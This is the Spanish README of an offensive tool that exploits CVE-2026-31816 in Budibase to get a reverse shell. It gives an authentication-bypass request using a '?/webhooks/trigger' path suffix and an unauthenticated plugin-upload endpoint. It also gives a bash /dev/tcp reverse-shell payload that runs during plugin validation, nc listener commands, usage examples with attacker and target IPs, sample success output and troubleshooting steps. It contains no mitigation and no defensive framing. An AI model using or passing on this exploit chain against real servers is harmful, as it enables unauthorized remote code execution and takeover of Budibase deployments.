
Explota CVE-2026-31816 en Budibase para omitir la autenticación, cargar un plugin de fuente de datos malicioso y ejecutar una reverse shell para acceso remoto.
Esta herramienta explota CVE-2026-31816 para establecer una conexión de reverse shell en un servidor Budibase objetivo.
Cadena de Ataque: Bypass de Autenticación → Subida de Plugin DATASOURCE → Ejecución de Código en el Servidor → Reverse Shell
requests (pip install requests)# 1. Iniciar listener en la máquina del atacante
nc -lvnp 4444
# 2. Ejecutar el exploit (otra terminal)
python3 CVE-2026-31816-rshell.py -t http://target:10000 --lhost TU_IP --lport 4444
| Parámetro | Requerido | Descripción |
|---|---|---|
-t, --target | ✅ | URL del Budibase objetivo |
--lhost | ✅ | Host del listener (tu IP) |
--lport | ❌ | Puerto del listener (por defecto: 4444) |
# IP del atacante: 192.168.1.100
# Budibase objetivo: 192.168.1.128:10000
# Terminal 1 - Iniciar listener
nc -lvnp 4444
# Terminal 2 - Ejecutar exploit
python3 CVE-2026-31816-rshell.py \
-t http://192.168.1.128:10000 \
--lhost 192.168.1.100 \
--lport 4444
GET /api/integrations?/webhooks/trigger
Si devuelve 200, el objetivo es vulnerable al bypass de autenticación.
{
"type": "datasource",
"schema": { ... }
}
Los plugins de tipo DATASOURCE ejecutan código JavaScript en el servidor.
// Ejecutado cuando el plugin es validado:
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
POST /api/plugin/upload?/webhooks/trigger
Subir plugin evitando la autenticación. El código se ejecuta durante la validación.
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Atacante │ │ Objetivo │ │ Listener │
│ │ │ Servidor │ │ (nc) │
│ │ │ │ │ │
│ exploit ────┼────►│ Subir │ │ │
│ │ │ Plugin │ │ │
│ │ │ Ejecutar │────►│ Escuchar │
│ │ │ Código │◄────┤ Reverse │
│ │ │ │ │ Conectar │
└─────────────┘ └─────────────┘ └─────────────┘
============================================================
CVE-2026-31816 - Exploit de Reverse Shell
============================================================
[*] Objetivo: http://192.168.1.128:10000
[*] Reverse shell: 192.168.1.100:4444
[*] Verificando vulnerabilidad...
[+] ¡El objetivo es vulnerable!
[*] Creando plugin de reverse shell dirigido a 192.168.1.100:4444
[*] Subiendo plugin de reverse shell...
[*] Estado: 200
[+] ¡Plugin instalado exitosamente!
============================================================
[+] ¡ÉXITO! ¡Revisa tu listener!
============================================================
Causas posibles:
Soluciones:
# Verificar conectividad de red
ping TU_IP
# Verificar firewall
sudo ufw allow 4444/tcp
# Probar con otro puerto
nc -lvnp 8080
Causas posibles:
Soluciones:
# Probar manualmente si la vulnerabilidad existe
curl -s "http://target:10000/api/integrations?/webhooks/trigger"
# Si devuelve JSON, la vulnerabilidad existe